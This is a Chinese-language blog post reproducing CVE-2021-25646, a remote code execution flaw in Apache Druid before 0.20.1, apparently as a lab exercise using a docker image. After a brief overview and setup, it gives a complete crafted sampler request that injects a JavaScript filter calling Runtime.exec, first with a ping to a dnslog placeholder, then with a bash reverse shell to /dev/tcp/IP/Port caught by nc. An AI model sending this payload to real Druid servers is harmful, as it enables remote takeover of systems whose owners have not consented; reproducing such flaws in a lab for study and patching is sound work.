Apache Druid 命令执行漏洞(CVE-2021-25646) 复现

0x01 漏洞概述

在Druid 0.20.0及更低版本中,用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。

0x02 影响范围

Apache Druid < 0.20.1

0x03 环境搭建

docker拉取镜像并运行容器

sudo docker pull fokkodriesprong/docker-druid
docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid

Apache Druid 命令执行漏洞(CVE-2021-25646) 复现

0x04 漏洞复现

进入环境后,点击左上角"Load data" -> "Load disk"如下图在右侧表单中填写,完成后点击preview

Base directory : quickstart/tutorial/
File filter : wikiticker-2015-09-12-sampled.json.gz

Apache Druid 命令执行漏洞(CVE-2021-25646) 复现

一直next,直到Next:Filter时,抓包,替换data为如下代码exec后的ping指令后填写自己的dnslog地址

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",

"function":"function(value){return java.lang.Runtime.getRuntime().exec(‘ping xxxx.dnslog.cn -c 1‘)}",

"dimension":"added",

"":{

"enabled":"true"

}

}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}

Apache Druid 命令执行漏洞(CVE-2021-25646) 复现

exec执行反弹shell命令,nc监听

exec(‘/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/IP/Port 0>&1‘)

Apache Druid 命令执行漏洞(CVE-2021-25646) 复现

Apache Druid 命令执行漏洞(CVE-2021-25646) 复现

上一篇:Vue源码阅读(34):异步组件的源码解析


下一篇:通过Selenium Page Factory谈程序员三境界